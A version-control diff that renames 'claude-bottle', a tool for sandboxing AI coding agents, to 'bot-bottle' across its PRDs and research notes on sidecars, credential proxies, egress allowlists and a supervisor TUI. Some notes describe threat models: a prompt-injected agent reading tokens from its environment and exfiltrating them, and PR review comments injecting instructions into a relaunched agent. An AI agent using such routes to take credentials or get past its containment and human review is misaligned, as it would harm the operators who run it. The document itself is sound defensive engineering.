COPY claude_bottle/supervise_server.py /app/supervise_server.py
|
||||
COPY claude_bottle/sidecar_init.py /app/sidecar_init.py
|
||||
COPY bot_bottle/egress_addon_core.py /app/egress_addon_core.py
|
||||
COPY bot_bottle/egress_addon.py /app/egress_addon.py
|
||||
COPY bot_bottle/yaml_subset.py /app/yaml_subset.py
|
||||
COPY bot_bottle/supervise.py /app/supervise.py
|
||||
COPY bot_bottle/supervise_server.py /app/supervise_server.py
|
||||
COPY bot_bottle/sidecar_init.py /app/sidecar_init.py
|
||||
|
||||
# Pull the standalone binaries into the final stage
|
||||
COPY --from=pipelock-src /usr/local/bin/pipelock /usr/local/bin/pipelock
|
||||
@@ -252,7 +252,7 @@ existing Dockerfiles.
|
||||
|
||||
### Init supervisor
|
||||
|
||||
`claude_bottle/sidecar_init.py` (sketch — actual code lands as
|
||||
`bot_bottle/sidecar_init.py` (sketch — actual code lands as
|
||||
part of implementation):
|
||||
|
||||
```python
|
||||
@@ -287,7 +287,7 @@ of the four. The service inherits the union of the four's
|
||||
existing bind mounts; environment variables get prefixed by
|
||||
daemon name where they clash (none clash today, but the renderer
|
||||
becomes the central place to enforce that). Container hostname
|
||||
becomes `sidecars` (or `claude-bottle-sidecars-<slug>` for the
|
||||
becomes `sidecars` (or `bot-bottle-sidecars-<slug>` for the
|
||||
externally-visible name). The agent service's HTTPS_PROXY and
|
||||
git-gate URL move from per-sidecar hostnames to the single
|
||||
`sidecars` hostname:
|
||||
@@ -301,9 +301,9 @@ services:
|
||||
GIT_GATE_URL: "git://git-gate:9418/repo"
|
||||
MCP_SUPERVISE_URL: "http://supervise:9100"
|
||||
pipelock: { image: ghcr.io/luckypipewrench/pipelock:... }
|
||||
egress: { image: claude-bottle-egress:latest }
|
||||
git-gate: { image: claude-bottle-git-gate:latest }
|
||||
supervise:{ image: claude-bottle-supervise:latest }
|
||||
egress: { image: bot-bottle-egress:latest }
|
||||
git-gate: { image: bot-bottle-git-gate:latest }
|
||||
supervise:{ image: bot-bottle-supervise:latest }
|
||||
|
||||
# After (two services)
|
||||
services:
|
||||
@@ -313,7 +313,7 @@ services:
|
||||
GIT_GATE_URL: "git://sidecars:9418/repo"
|
||||
MCP_SUPERVISE_URL: "http://sidecars:9100"
|
||||
sidecars:
|
||||
image: claude-bottle-sidecars:<pinned>
|
||||
image: bot-bottle-sidecars:<pinned>
|
||||
# union of the four prior services' volumes / env / ports
|
||||
```
|
||||
|
||||
@@ -321,7 +321,7 @@ services:
|
||||
|
||||
### Backend Python collapse
|
||||
|
||||
The four `claude_bottle/backend/docker/<sidecar>.py` files keep
|
||||
The four `bot_bottle/backend/docker/<sidecar>.py` files keep
|
||||
their platform-neutral abstractions (proxy/plan classes) but
|
||||
shed the docker-container-lifecycle code that compose-up
|
||||
already owns. Container-name helpers consolidate:
|
||||
@@ -335,7 +335,7 @@ def supervise_container_name(slug): ...
|
||||
|
||||
# becomes:
|
||||
def sidecar_bundle_container_name(slug: str) -> str:
|
||||
return f"claude-bottle-sidecars-{slug}"
|
||||
return f"bot-bottle-sidecars-{slug}"
|
||||
```
|
||||
|
||||
Per-daemon "is the container up?" helpers used by orphan
|
||||
@@ -356,7 +356,7 @@ This PRD's change is large but mechanical. A pre-merge dry-run:
|
||||
and the resulting container runs all four daemons.
|
||||
2. Switch the renderer to emit the two-service shape behind an
|
||||
env-var feature flag (e.g.
|
||||
`CLAUDE_BOTTLE_SIDECAR_BUNDLE=1`).
|
||||
`BOT_BOTTLE_SIDECAR_BUNDLE=1`).
|
||||
3. Update integration tests in-place; flip the default once
|
||||
green; delete the flag and the old Dockerfiles in a
|
||||
follow-up commit on the same branch.
|
||||
@@ -379,7 +379,7 @@ rewrite.
|
||||
3. **Backend Python collapse.** Drop the vestigial per-container
|
||||
`.start()` / `.stop()` methods from `DockerPipelockProxy`,
|
||||
`DockerEgress`, `DockerGitGate`, `DockerSupervise` (and from
|
||||
the ABCs in `claude_bottle/{pipelock,egress,git_gate,supervise}.py`).
|
||||
the ABCs in `bot_bottle/{pipelock,egress,git_gate,supervise}.py`).
|
||||
These were already documented as vestigial in PRD 0018 ch3.
|
||||
Strip vestigial sidecar-instance parameters from
|
||||
`launch.launch()` and `prepare.resolve_plan()`. Delete the
|
||||
@@ -419,10 +419,10 @@ rewrite.
|
||||
is signal-killed (negative returncode) so the max is 0; a
|
||||
crashed-before-signal daemon's nonzero code wins and reaches
|
||||
the operator on container exit.
|
||||
3. **Image pin policy.** Pin `claude-bottle-sidecars` by tag
|
||||
3. **Image pin policy.** Pin `bot-bottle-sidecars` by tag
|
||||
(`:latest` rebuilt per-release) or by digest written into a
|
||||
`CLAUDE_BOTTLE_SIDECAR_IMAGE` env var like the existing
|
||||
`CLAUDE_BOTTLE_PIPELOCK_IMAGE`? Default to env-var override
|
||||
`BOT_BOTTLE_SIDECAR_IMAGE` env var like the existing
|
||||
`BOT_BOTTLE_PIPELOCK_IMAGE`? Default to env-var override
|
||||
+ a documented tag; digest pinning is an operator opt-in.
|
||||
4. **Healthcheck aggregation.** Today each sidecar service has
|
||||
its own compose healthcheck and `agent.depends_on:
|
||||
@@ -448,9 +448,9 @@ rewrite.
|
||||
- `Dockerfile.egress`, `Dockerfile.git-gate`,
|
||||
`Dockerfile.supervise` — the three Dockerfiles this PRD
|
||||
collapses into `Dockerfile.sidecars`.
|
||||
- `claude_bottle/backend/docker/compose.py` — the renderer this
|
||||
- `bot_bottle/backend/docker/compose.py` — the renderer this
|
||||
PRD slims down.
|
||||
- `claude_bottle/backend/docker/pipelock.py` — current home of
|
||||
- `bot_bottle/backend/docker/pipelock.py` — current home of
|
||||
`PIPELOCK_IMAGE` and the pinned digest the bundle's first
|
||||
stage reuses.
|
||||
- PRD 0017
|
||||
|
||||
@@ -28,7 +28,7 @@ silently absent from `staging` until someone notices.
|
||||
|
||||
Issue #88 proposed inlining a `bottle_config:` block in agent files
|
||||
that would merge with (and override) the referenced bottle. That
|
||||
design lets a `$CWD/.claude-bottle/agents/<name>.md` file from a
|
||||
design lets a `$CWD/.bot-bottle/agents/<name>.md` file from a
|
||||
cloned repo redeclare egress routes, env mappings, and git remotes
|
||||
— breaking the existing security model where bottles are
|
||||
`$HOME`-only specifically so cloned repos can't influence them
|
||||
@@ -93,7 +93,7 @@ egress:
|
||||
|
||||
`extends:` is a string — the name of another bottle (without the
|
||||
`.md`). Required to be one of the bottles loaded from
|
||||
`$HOME/.claude-bottle/bottles/`. Self-reference (`extends: self`
|
||||
`$HOME/.bot-bottle/bottles/`. Self-reference (`extends: self`
|
||||
in `self.md`) and longer cycles die at parse.
|
||||
|
||||
### Merge rules
|
||||
@@ -163,7 +163,7 @@ the full chain so operators can find the offending file.
|
||||
|
||||
### Trust boundary preservation
|
||||
|
||||
Bottles continue to be loaded from `$HOME/.claude-bottle/bottles/`
|
||||
Bottles continue to be loaded from `$HOME/.bot-bottle/bottles/`
|
||||
only (`Manifest.from_md_dirs` is unchanged). The `extends:` field
|
||||
references another file in that same directory. No cwd-readable
|
||||
file gains the ability to declare or modify bottle config — the
|
||||
|
||||
@@ -10,7 +10,7 @@ Support Claude and Codex agent providers while keeping agent files provider-agno
|
||||
|
||||
## Problem
|
||||
|
||||
Today claude-bottle is hard-wired around Claude Code assumptions. When Claude runs out or is otherwise unavailable, the operator cannot spin up an equivalent Codex-backed bottle from the dashboard or `start` path. Agent files should remain purpose/guidance documents, while bottle files define security boundaries and provider/runtime choices.
|
||||
Today bot-bottle is hard-wired around Claude Code assumptions. When Claude runs out or is otherwise unavailable, the operator cannot spin up an equivalent Codex-backed bottle from the dashboard or `start` path. Agent files should remain purpose/guidance documents, while bottle files define security boundaries and provider/runtime choices.
|
||||
|
||||
## Goals / Success Criteria
|
||||
|
||||
@@ -24,7 +24,7 @@ Today claude-bottle is hard-wired around Claude Code assumptions. When Claude ru
|
||||
|
||||
- Do not implement support for providers beyond Claude and Codex.
|
||||
- Do not move security boundaries into agent files.
|
||||
- Do not allow custom Dockerfiles to remove or bypass required claude-bottle infrastructure.
|
||||
- Do not allow custom Dockerfiles to remove or bypass required bot-bottle infrastructure.
|
||||
- Do not add new runtime dependencies unless the existing Docker/Codex tooling cannot satisfy the minimum cut.
|
||||
|
||||
## Scope
|
||||
@@ -63,7 +63,7 @@ agent_provider:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- `claude_bottle/manifest.py` for provider schema and role validation.
|
||||
- `bot_bottle/manifest.py` for provider schema and role validation.
|
||||
- Docker and smolmachines prepare/launch/provision paths for provider-specific image, command, auth, and state behavior.
|
||||
- Dashboard/start display paths so the selected provider is visible and usable.
|
||||
- README and PRD docs for provider/template configuration.
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
Consolidated research on running an auth-header-injecting proxy in
|
||||
front of an AI agent so API tokens stay out of the agent's process
|
||||
space. Folds in the per-service mechanics for the Anthropic OAuth
|
||||
token and the Gitea PAT — the two cases claude-bottle hits first —
|
||||
token and the Gitea PAT — the two cases bot-bottle hits first —
|
||||
and surveys existing tools as of May 2026.
|
||||
|
||||
Companion to
|
||||
@@ -15,7 +15,7 @@ the biggest credential risk).
|
||||
|
||||
## Summary
|
||||
|
||||
Today every claude-bottle agent gets `CLAUDE_CODE_OAUTH_TOKEN` (and
|
||||
Today every bot-bottle agent gets `CLAUDE_CODE_OAUTH_TOKEN` (and
|
||||
any `bottle.env` secrets like a Gitea PAT) injected as env vars,
|
||||
which means the agent process can read them with `printenv` or
|
||||
`/proc/self/environ`. A prompt-injected or hijacked agent can ship
|
||||
@@ -28,11 +28,11 @@ level via `ptrace_may_access`; a future smolmachines backend
|
||||
enforces it harder, at the VM line.
|
||||
|
||||
Several existing tools implement this pattern, but none of them are
|
||||
a clean drop-in for claude-bottle today: the most architecturally
|
||||
a clean drop-in for bot-bottle today: the most architecturally
|
||||
aligned (nono) is alpha; the most mature open-source
|
||||
(Infisical Agent Vault) requires TLS MITM and would double up on
|
||||
pipelock's TLS-interception stack. For the Anthropic-token slice, a
|
||||
small claude-bottle-specific reverse proxy modeled on the
|
||||
small bot-bottle-specific reverse proxy modeled on the
|
||||
phantom-token shape is probably the right call. For Gitea / GitHub /
|
||||
GitLab, the same proxy generalizes by config.
|
||||
|
||||
@@ -49,7 +49,7 @@ the caller's UID/GID don't match the target's and the caller lacks
|
||||
`CAP_SYS_PTRACE` or `CAP_PERFMON`. A `node`-uid claude attempting to
|
||||
read a root-owned proxy's environ gets `EACCES`. Escape hatches
|
||||
(`--cap-add=SYS_PTRACE`, `--cap-add=PERFMON`, `--privileged`) are
|
||||
not used by claude-bottle. Yama `ptrace_scope` is irrelevant — it
|
||||
not used by bot-bottle. Yama `ptrace_scope` is irrelevant — it
|
||||
only relaxes the *same-UID* relationship check; the cross-UID
|
||||
match requirement still blocks the read. On a smolmachines backend
|
||||
the boundary becomes the VM line; same property, harder.
|
||||
@@ -77,8 +77,8 @@ The remaining credible designs reduce to three:
|
||||
|
||||
### Anthropic / Claude Code
|
||||
|
||||
**Today's wiring** (`claude_bottle/cli/start.py`): the host's
|
||||
`CLAUDE_BOTTLE_OAUTH_TOKEN` is forwarded into the bottle as
|
||||
**Today's wiring** (`bot_bottle/cli/start.py`): the host's
|
||||
`BOT_BOTTLE_OAUTH_TOKEN` is forwarded into the bottle as
|
||||
`CLAUDE_CODE_OAUTH_TOKEN` via `docker run -e CLAUDE_CODE_OAUTH_TOKEN`
|
||||
(no `=value`, so the value never lands on argv — good). Inside the
|
||||
bottle, claude runs as `node` (UID 1000) with
|
||||
@@ -128,7 +128,7 @@ never the token.
|
||||
A hijacked claude could exfil the captured token (or any other
|
||||
data) through any of these even with the proxy in place. Pair
|
||||
the proxy with an explicit egress allowlist for the full benefit
|
||||
(claude-bottle does this via pipelock).
|
||||
(bot-bottle does this via pipelock).
|
||||
- **Token refresh**: `claude setup-token` issues a ~1-year OAuth
|
||||
token with no client-side refresh, so a static proxy value is
|
||||
fine. The flip side is a one-year blast radius if the token leaks
|
||||
@@ -138,7 +138,7 @@ never the token.
|
||||
rewriting is safe.
|
||||
- **`--bare` mode** reads only `ANTHROPIC_API_KEY`, not
|
||||
`CLAUDE_CODE_OAUTH_TOKEN`. Not relevant to the interactive flow
|
||||
claude-bottle ships, but worth noting if `--bare` is ever wired in.
|
||||
bot-bottle ships, but worth noting if `--bare` is ever wired in.
|
||||
|
||||
### Gitea (`tea` + git HTTPS)
|
||||
|
||||
@@ -191,7 +191,7 @@ mitigation. Either composes cleanly with the same proxy.
|
||||
## Proxy architectures
|
||||
|
||||
Four shapes worth comparing. The first is the lowest-friction
|
||||
match for claude-bottle today.
|
||||
match for bot-bottle today.
|
||||
|
||||
| Shape | Pros | Cons |
|
||||
|---|---|---|
|
||||
@@ -200,7 +200,7 @@ match for claude-bottle today.
|
||||
| **Host-side proxy** | Token stays entirely outside the Linux VM. This is the Docker AI Sandbox shape. | A host daemon to maintain; the published port is reachable by any container on the host unless firewalled. UDS-across-VM doesn't work on Docker Desktop on macOS (no AF_UNIX `connect()` over the VM), but `host.docker.internal:<port>` over TCP works fine. |
|
||||
| **Sidecar container** | Clean isolation; portable across hosts. Matches the existing pipelock / ssh-gate / git-gate topology. | Another container to orchestrate per agent; the token is in another container's env, which is a lateral move unless the sidecar runs with stricter isolation than the agent container does. |
|
||||
|
||||
For claude-bottle today — local Docker, per-agent containers, the
|
||||
For bot-bottle today — local Docker, per-agent containers, the
|
||||
root-owned-helper pattern already established by the SSH agent —
|
||||
the **in-container reverse proxy** is the lowest-friction option
|
||||
that gives the desired property. The sidecar-container shape is
|
||||
@@ -214,7 +214,7 @@ Two categories:
|
||||
- **A. Generic LLM / API gateways** that happen to support credential
|
||||
injection as a side feature.
|
||||
- **B. Purpose-built agent credential brokers** — newer, closer to
|
||||
what claude-bottle wants.
|
||||
what bot-bottle wants.
|
||||
|
||||
| Tool | Category | License | Topology | Injection mechanism | `ANTHROPIC_BASE_URL` compatible | Per-route allowlist | Maturity |
|
||||
|---|---|---|---|---|---|---|---|
|
||||
@@ -235,7 +235,7 @@ Two categories:
|
||||
### Cluster commentary
|
||||
|
||||
- **The phantom-token pattern** (nono) is the cleanest architectural
|
||||
fit for claude-bottle. The agent receives a per-session
|
||||
fit for bot-bottle. The agent receives a per-session
|
||||
cryptographically random token scoped to the localhost proxy;
|
||||
the proxy validates and swaps for the real upstream credential.
|
||||
No TLS interception, no CA trust setup, works directly with
|
||||
@@ -275,7 +275,7 @@ is a bet on the project rather than a buy-vs-build win.
|
||||
|
||||
**Most mature OSS purpose-built:** Infisical Agent Vault. MIT,
|
||||
v0.19.0 active, v0.17.0 added a containerized agent mode that
|
||||
maps directly to claude-bottle. Friction is the TLS-MITM topology
|
||||
maps directly to bot-bottle. Friction is the TLS-MITM topology
|
||||
— another container-local CA, the Go-loopback workaround,
|
||||
duplication with pipelock's existing TLS interception layer.
|
||||
|
||||
|
||||
@@ -4,13 +4,13 @@ A broader survey than [`landscape-containerized-claude.md`](landscape-containeri
|
||||
which focused on Claude-Code-specific containerizers. This one covers
|
||||
general AI-agent sandbox / containment projects — some Claude-specific,
|
||||
some agent-agnostic, some hosted SaaS — and contrasts them with
|
||||
claude-bottle's design.
|
||||
bot-bottle's design.
|
||||
|
||||
Research conducted 2026-05-11.
|
||||
|
||||
## Summary
|
||||
|
||||
Eight projects surveyed. None duplicate claude-bottle's combination of
|
||||
Eight projects surveyed. None duplicate bot-bottle's combination of
|
||||
local Docker, declarative JSON manifest, per-agent egress allowlist via
|
||||
pipelock, and bottle/agent split. Two clusters stand out:
|
||||
|
||||
@@ -157,7 +157,7 @@ plausible without a heavy stack.
|
||||
|
||||
## Comparison table
|
||||
|
||||
| Axis | claude-bottle | endo-familiar | litterbox | agent-safehouse | matchlock | tilde.run | boxlite | microsandbox | smolmachines |
|
||||
| Axis | bot-bottle | endo-familiar | litterbox | agent-safehouse | matchlock | tilde.run | boxlite | microsandbox | smolmachines |
|
||||
|---|---|---|---|---|---|---|---|---|---|
|
||||
| Isolation | Docker + internal net + pipelock; gVisor if present | Object-capability (no OS isolation) | Podman + opt. Landlock | macOS `sandbox-exec` | MicroVM (Firecracker / Virt.fw) | Hosted container (unverified) | MicroVM (KVM / Hypervisor.fw) | MicroVM (libkrun) | MicroVM (libkrun / KVM) |
|
||||
| Local vs hosted | Local | Local | Local (Linux) | Local (macOS) | Local | Hosted SaaS | Local | Local | Local |
|
||||
@@ -171,9 +171,9 @@ plausible without a heavy stack.
|
||||
## What's closest, what's different
|
||||
|
||||
**Closest in design and scope.** agent-safehouse and litterbox sit
|
||||
nearest claude-bottle: local, single-user, thin wrappers over an
|
||||
nearest bot-bottle: local, single-user, thin wrappers over an
|
||||
existing OS primitive, low-dep. The split is the isolation primitive —
|
||||
claude-bottle uses Docker + pipelock egress (plus gVisor where
|
||||
bot-bottle uses Docker + pipelock egress (plus gVisor where
|
||||
available); agent-safehouse uses `sandbox-exec`; litterbox uses Podman +
|
||||
Landlock. matchlock and smolmachines are spiritually close on the
|
||||
*policy* side (default-deny net, per-host allowlist) but use microVMs
|
||||
@@ -181,16 +181,16 @@ instead of containers.
|
||||
|
||||
**Solving a different problem.** tilde.run is hosted SaaS for team /
|
||||
production agent pipelines with data-versioned rollback — explicitly
|
||||
opposite to claude-bottle's "infrastructure I control" goal. boxlite and
|
||||
opposite to bot-bottle's "infrastructure I control" goal. boxlite and
|
||||
microsandbox are infrastructure libraries aimed at platform builders
|
||||
embedding sandboxes into agent frameworks; they would be a *backend*
|
||||
claude-bottle could call, not a competitor to its manifest layer.
|
||||
bot-bottle could call, not a competitor to its manifest layer.
|
||||
endo-familiar is in a different paradigm entirely: capability passing
|
||||
rather than kernel boundaries.
|
||||
|
||||
## Borrowable ideas
|
||||
|
||||
What claude-bottle already has that the survey suggested as
|
||||
What bot-bottle already has that the survey suggested as
|
||||
differentiators:
|
||||
- Default-deny egress with a per-agent allowlist (pipelock).
|
||||
- DLP scanning of outbound traffic.
|
||||
|
||||
@@ -24,26 +24,26 @@ which version you want before starting.
|
||||
|
||||
## Current Docker surface area
|
||||
|
||||
The places claude-bottle shells out to `docker` today:
|
||||
The places bot-bottle shells out to `docker` today:
|
||||
|
||||
- `build` — base image plus a per-cwd derived image
|
||||
(`claude_bottle/docker.py:67-103`).
|
||||
(`bot_bottle/docker.py:67-103`).
|
||||
- `run` — with `--runtime`, `--env-file`, `-e`, `--name`, `--network`,
|
||||
and volume mounts (`claude_bottle/cli/start.py:217-261`).
|
||||
and volume mounts (`bot_bottle/cli/start.py:217-261`).
|
||||
- `exec -it` / `exec -u 0` — for `claude` itself, file-ownership fixups,
|
||||
and SSH provisioning (`claude_bottle/ssh.py`, `claude_bottle/skills.py`,
|
||||
`claude_bottle/cli/start.py`).
|
||||
and SSH provisioning (`bot_bottle/ssh.py`, `bot_bottle/skills.py`,
|
||||
`bot_bottle/cli/start.py`).
|
||||
- `cp` — skills, SSH keys, the prompt file, the workspace `.git`,
|
||||
and the pipelock config
|
||||
(`claude_bottle/skills.py:73`, `claude_bottle/ssh.py:106`,
|
||||
`claude_bottle/cli/start.py:279`, `claude_bottle/pipelock.py:218`).
|
||||
(`bot_bottle/skills.py:73`, `bot_bottle/ssh.py:106`,
|
||||
`bot_bottle/cli/start.py:279`, `bot_bottle/pipelock.py:218`).
|
||||
- `network create` / `connect` / `inspect` / `rm` — bottle network plus
|
||||
multi-network attach for the pipelock sidecar
|
||||
(`claude_bottle/network.py`, `claude_bottle/pipelock.py:227`).
|
||||
(`bot_bottle/network.py`, `bot_bottle/pipelock.py:227`).
|
||||
- `create` / `start` / `rm -f` — pipelock sidecar lifecycle
|
||||
(`claude_bottle/pipelock.py:207-258`).
|
||||
(`bot_bottle/pipelock.py:207-258`).
|
||||
- Misc preflight: `image inspect`, `ps -a -f name=^...$`, `info` for
|
||||
registered runtimes (`claude_bottle/docker.py`).
|
||||
registered runtimes (`bot_bottle/docker.py`).
|
||||
|
||||
## Mapping to Apple's `container`
|
||||
|
||||
@@ -60,10 +60,10 @@ The places claude-bottle shells out to `docker` today:
|
||||
|
||||
Roughly two weeks for one person, split as:
|
||||
|
||||
1. **Backend abstraction (1–2 days).** `claude_bottle/docker.py` is
|
||||
already a partial seam, but `claude_bottle/network.py`,
|
||||
`claude_bottle/pipelock.py`, `claude_bottle/ssh.py`,
|
||||
`claude_bottle/skills.py`, and `claude_bottle/cli/start.py` all call
|
||||
1. **Backend abstraction (1–2 days).** `bot_bottle/docker.py` is
|
||||
already a partial seam, but `bot_bottle/network.py`,
|
||||
`bot_bottle/pipelock.py`, `bot_bottle/ssh.py`,
|
||||
`bot_bottle/skills.py`, and `bot_bottle/cli/start.py` all call
|
||||
`subprocess.run(["docker", ...])` directly. Define a `Backend`
|
||||
protocol — `run`, `exec`, `cp`, `build`, `network_create`,
|
||||
`network_connect`, `inspect`, `rm` — route every call through it,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Implementation language: bash vs. Python vs. Go
|
||||
|
||||
Research into which runtime claude-bottle should be implemented in, given
|
||||
Research into which runtime bot-bottle should be implemented in, given
|
||||
where the project is today (~1250 lines, Python, mostly orchestration of
|
||||
`docker` / `flyctl` / `ssh`). The project started in bash and was rewritten
|
||||
to Python; this note evaluates whether either of the other two options
|
||||
@@ -10,7 +10,7 @@ would be a better fit going forward.
|
||||
|
||||
Stay on Python. Switch to Go if and when distribution friction becomes the
|
||||
dominant pain — i.e., when bug reports about Python interpreter / venv
|
||||
behavior start outweighing bug reports about claude-bottle itself. Bash is
|
||||
behavior start outweighing bug reports about bot-bottle itself. Bash is
|
||||
not the right tool at the project's current size; reverting would be a
|
||||
regression.
|
||||
|
||||
@@ -54,7 +54,7 @@ The relevant criteria, in roughly the order they bite:
|
||||
|
||||
## Bash
|
||||
|
||||
Right tool *if the project stays under ~500 lines*. claude-bottle has
|
||||
Right tool *if the project stays under ~500 lines*. bot-bottle has
|
||||
already crossed that threshold (~1250 lines), and the orchestration is no
|
||||
longer "stitch CLIs together" — it has manifest validation, env-var
|
||||
resolution, network and sidecar lifecycle, and SSH provisioning. Bash
|
||||
@@ -119,7 +119,7 @@ Costs:
|
||||
|
||||
Stay on Python. The signal to watch for, before reconsidering, is bug
|
||||
reports about Python interpreter or venv behavior outnumbering bug reports
|
||||
about claude-bottle's actual logic. Until that pattern shows up, the Go
|
||||
about bot-bottle's actual logic. Until that pattern shows up, the Go
|
||||
rewrite isn't paying for itself.
|
||||
|
||||
Independent of language: invest in the backend abstraction now. A clean
|
||||
|
||||
@@ -2,13 +2,13 @@
|
||||
|
||||
## Question
|
||||
|
||||
Can claude-bottle grow a built-in supervisor — TUI inventory plus PR-feedback routing — without breaking the per-bottle isolation model, and without departing from the Python-stdlib-first, low-dependency posture?
|
||||
Can bot-bottle grow a built-in supervisor — TUI inventory plus PR-feedback routing — without breaking the per-bottle isolation model, and without departing from the Python-stdlib-first, low-dependency posture?
|
||||
|
||||
## Context
|
||||
|
||||
claude-bottle today is a fleet *executor*: `./cli.py start <agent>` brings up one bottle (agent container + pipelock + optional git-gate + optional cred-proxy on a per-bottle internal network), and `cli.py` tears it down when the session ends. There is no inventory view, no idle-detection, no automated reaction to PR or CI events. In parallel use, a human is the supervisor — opening one terminal per bottle, switching between them, and watching upstream PR state by hand.
|
||||
bot-bottle today is a fleet *executor*: `./cli.py start <agent>` brings up one bottle (agent container + pipelock + optional git-gate + optional cred-proxy on a per-bottle internal network), and `cli.py` tears it down when the session ends. There is no inventory view, no idle-detection, no automated reaction to PR or CI events. In parallel use, a human is the supervisor — opening one terminal per bottle, switching between them, and watching upstream PR state by hand.
|
||||
|
||||
A separate survey of the broader ecosystem ([agent control dashboards research, mid-2026](https://gitea.dideric.is/didericis/consilium-research/src/branch/main/developer-workflow/agent-control-dashboards-2026-05-24.md)) sorts dashboards into five tiers (session managers, parallel runners, Kanban boards, mission-control SPAs, observability backends). The earlier first-pass conclusion was that a full SPA tier conflicts with claude-bottle's isolation model. This doc reconsiders the smaller question: a TUI supervisor in the existing Python CLI.
|
||||
A separate survey of the broader ecosystem ([agent control dashboards research, mid-2026](https://gitea.dideric.is/didericis/consilium-research/src/branch/main/developer-workflow/agent-control-dashboards-2026-05-24.md)) sorts dashboards into five tiers (session managers, parallel runners, Kanban boards, mission-control SPAs, observability backends). The earlier first-pass conclusion was that a full SPA tier conflicts with bot-bottle's isolation model. This doc reconsiders the smaller question: a TUI supervisor in the existing Python CLI.
|
||||
|
||||
## What I got wrong the first time
|
||||
|
||||
@@ -75,7 +75,7 @@ A few design defaults worth holding:
|
||||
- **No auto-respawn.** The supervisor surfaces PR feedback to a human, never to the bottle's next prompt. The autonomous flow (review-comment → tear down → relaunch with the comment prepended) was considered and rejected: in a public-ish repo, any commenter could inject content that the next launch would treat as system instructions, with the agent's full bottle privileges. Available mitigations — commenter allowlists, prompt-injection regex screens, private-repo defaults — are all soft. The load-bearing defense is to keep the human between the review comment and any agent prompt. Notify-only is the only mode.
|
||||
- **Idle detection is harder than it looks.** Last-log-line-age works ~80% of the time. Codeman's Ralph Loop tracker (watching for `<promise>` tags) is more accurate but adds complexity and tooling-coupling. Start with the dumb version; add heuristics only when actual confusion arises.
|
||||
- **No web UI.** A browser UI reintroduces the privileged-channel problem — the browser talks to a server that talks to all bottles. TUI sidesteps it because the supervisor runs in the user's own shell context, not as a long-running daemon serving multiple consumers.
|
||||
- **State file in `~/.claude-bottle/`, not inside any bottle.** The mapping of bottle → PR → status lives next to the manifest. Nothing about the supervisor's bookkeeping enters a bottle.
|
||||
- **State file in `~/.bot-bottle/`, not inside any bottle.** The mapping of bottle → PR → status lives next to the manifest. Nothing about the supervisor's bookkeeping enters a bottle.
|
||||
- **No new credentials on bottles.** PR-watch is a host-side concern. A bottle's manifest *names* the upstream/branch to watch; it does not grant the bottle the ability to read PR state itself.
|
||||
|
||||
## Trust-model edge cases worth flagging
|
||||
@@ -91,6 +91,6 @@ Phased: `status` first (purely additive, no design decisions), then `watch` (the
|
||||
|
||||
## Conclusion
|
||||
|
||||
A supervisor that respects the bottle wall is a small natural extension of what claude-bottle already is, not a category shift toward Mission Control / Codeman / Composio AO. The mistake in earlier framing was treating "supervisor" as synonymous with "dashboard SPA." The trust-model question that disqualifies the SPA tier (privileged channel into every bottle) does not apply to a TUI that reads host-side signals and shells out to the existing CLI.
|
||||
A supervisor that respects the bottle wall is a small natural extension of what bot-bottle already is, not a category shift toward Mission Control / Codeman / Composio AO. The mistake in earlier framing was treating "supervisor" as synonymous with "dashboard SPA." The trust-model question that disqualifies the SPA tier (privileged channel into every bottle) does not apply to a TUI that reads host-side signals and shells out to the existing CLI.
|
||||
|
||||
Recommendation: build `status` and `watch` opportunistically when the pain is felt; treat `supervise` as a separate PRD before implementation, scoped to notify-only (no autonomous loop from review comment to next agent prompt — see "Where to be conservative").
|
||||
|
||||
@@ -15,7 +15,7 @@ What's the cheapest path to that, and where does it bottom out?
|
||||
|
||||
Today the flow is bimodal. `./cli.py start <agent>` brings the
|
||||
bottle up and immediately drops you into an interactive
|
||||
`docker exec -it claude-bottle-<slug> claude ...` — claude-code
|
||||
`docker exec -it bot-bottle-<slug> claude ...` — claude-code
|
||||
owns the whole terminal until you Ctrl-D out, at which point the
|
||||
bottle tears down. The dashboard (`./cli.py dashboard`) is a
|
||||
*separate* invocation that watches across bottles but never
|
||||
@@ -68,7 +68,7 @@ Below are the actual costs.
|
||||
|
||||
The dashboard sees a key (say Enter on a selected agent in the
|
||||
agents pane). It calls `curses.endwin()`, then `subprocess.run(
|
||||
["docker", "exec", "-it", "claude-bottle-<slug>", "claude",
|
||||
["docker", "exec", "-it", "bot-bottle-<slug>", "claude",
|
||||
"--dangerously-skip-permissions"])`. claude-code takes the
|
||||
terminal full-screen. When the operator exits claude-code
|
||||
(Ctrl-D, `/exit`), the subprocess returns; the dashboard calls
|
||||
@@ -192,7 +192,7 @@ want one focused session at a time with proposals visible.
|
||||
## Option 3: External multiplexer
|
||||
|
||||
The dashboard binds a key (e.g. `Enter` on agent) to
|
||||
`tmux split-window -h 'docker exec -it claude-bottle-<slug>
|
||||
`tmux split-window -h 'docker exec -it bot-bottle-<slug>
|
||||
claude'` when run inside a tmux session, or to `osascript`-
|
||||
driven iTerm pane spawning on macOS, or to `wezterm cli
|
||||
spawn` if the user is on wezterm.
|
||||
@@ -278,7 +278,7 @@ interface; the multiplexer is convenience for power users.
|
||||
- PRD 0018 chunk 3 — agent container runs `sleep infinity`;
|
||||
claude is invoked via `docker exec -it` (the
|
||||
attachment-point this doc is layering against)
|
||||
- `claude_bottle/cli/dashboard.py:_operator_edit_flow` — the
|
||||
- `bot_bottle/cli/dashboard.py:_operator_edit_flow` — the
|
||||
existing `curses.endwin` → shell out → `stdscr.refresh()`
|
||||
pattern Option 1 would clone
|
||||
- pyte: <https://pyte.readthedocs.io/> — the candidate
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
Research into how to revoke a long-lived `CLAUDE_CODE_OAUTH_TOKEN` (the kind
|
||||
`claude setup-token` mints), prompted by needing to rotate a token baked into a
|
||||
claude-bottle container.
|
||||
bot-bottle container.
|
||||
|
||||
## Summary
|
||||
|
||||
@@ -63,7 +63,7 @@ For a known-leaked or suspected-leaked token:
|
||||
1. Revoke the entry at `claude.ai/settings/claude-code`.
|
||||
2. Run "Log out all sessions" under Settings → Account → Active Sessions.
|
||||
3. Run `claude setup-token` to mint a replacement, and rotate it into
|
||||
`CLAUDE_BOTTLE_OAUTH_TOKEN` immediately.
|
||||
`BOT_BOTTLE_OAUTH_TOKEN` immediately.
|
||||
4. Email Anthropic support at `support.anthropic.com`. Security issues
|
||||
sometimes get attention that GitHub issues do not.
|
